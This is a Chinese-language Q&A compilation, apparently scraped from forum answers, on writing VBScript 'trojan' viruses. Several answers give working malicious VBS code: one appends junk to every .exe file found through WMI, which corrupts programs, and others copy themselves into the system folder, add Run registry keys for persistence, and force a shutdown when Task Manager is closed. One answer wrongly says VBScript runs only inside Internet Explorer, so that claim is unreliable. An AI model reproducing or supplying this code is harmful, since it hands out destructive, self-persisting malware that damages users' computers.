本文目录一览：
- 1、怎么编木马病毒
- 2、VBS病毒怎样做？
- 3、vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！
- 4、如何使用VBS撰写一个木马
- 5、怎么用VBScript做一个可以破坏系统的病毒？
怎么编木马病毒
下个VB来做个VBS
关机脚本
，调用CMD的关机命令就可以了，无毒无害，想知道怎样制作网上搜，我就不多说了。
系统的CMD里面有个计划关机命令然后以vbs脚本启动这个命令就行了....算了你还是
百度HI
我吧，我直接写源码给你，你下个VB回来，然后新建个VBS工程。将代码复制进去然后生成就行了，如果需要的话还可以外加注释给你
4楼说的不对，先不管他代码是否正确，大家想想要是直接文本就可以生成
EXE文件
那么还用编程做什么，你们说是不是，直接标准答案给我了。
嘻嘻
VBS病毒怎样做？
on error resume next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set bage= GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pipe =bage.ExecQuery("Select * from CIM_DataFile where Extension = 'exe'")
For Each File in pipe
Set objFile =FSO.OpenTextFile(file.name,8,true)
objFile.Writeline "111111"
objFile.Close
next
vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！
Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 "\" fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 "\")
ws.Run """" path2 """",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
如何使用VBS撰写一个木马
这个嘛，前面二个比较简单
set fso=createobject(scripting.filesystemobject)
set dir=fso.getspecialfolder(1)‘获得Windows\system32系统文件夹
fso.getfile(wscript.scriptfullname).copy(dir"\vbs.vbs")‘将自己复制到系统文件夹，并命名为vbs
set wshshell=createobject(wscript.shell)
wshshell.regwrite"HKLM\software\microsoft\windows\currentversion\run\vbs",dir"\vbs.vbs","vbs.vbs"'加入启动项
怎么用VBScript做一个可以破坏系统的病毒？
这个很难，几乎不可能
1、VBScript只能运行在IE浏览器中，即使做成VBS可独立运行的文件，也无法完全脱离IE浏览器；
2、VBScript是脚本程序，除了要受IE浏览器的安全机制约束，还要受其他很多限制，如果电脑系统中存在阶级，那么VBScript就是最底层的贫民，是屌丝中的屌丝；
3、360这类的安全软件对VBScript这类脚本程序一向严查、毫不手软的；
4、即使以上这些都不算事，一个软件要想破坏系统也绝非易事，也不知你说的破坏系统究竟是指破坏硬件系统还是软件系统，前者是不可能的，后者在几乎每台电脑都装了360或电脑管家的今天也几乎是不可能的；
5、即使以上这些都能做到，你还要求简单一些，那就只有上帝知道了，前提是上帝也懂编程。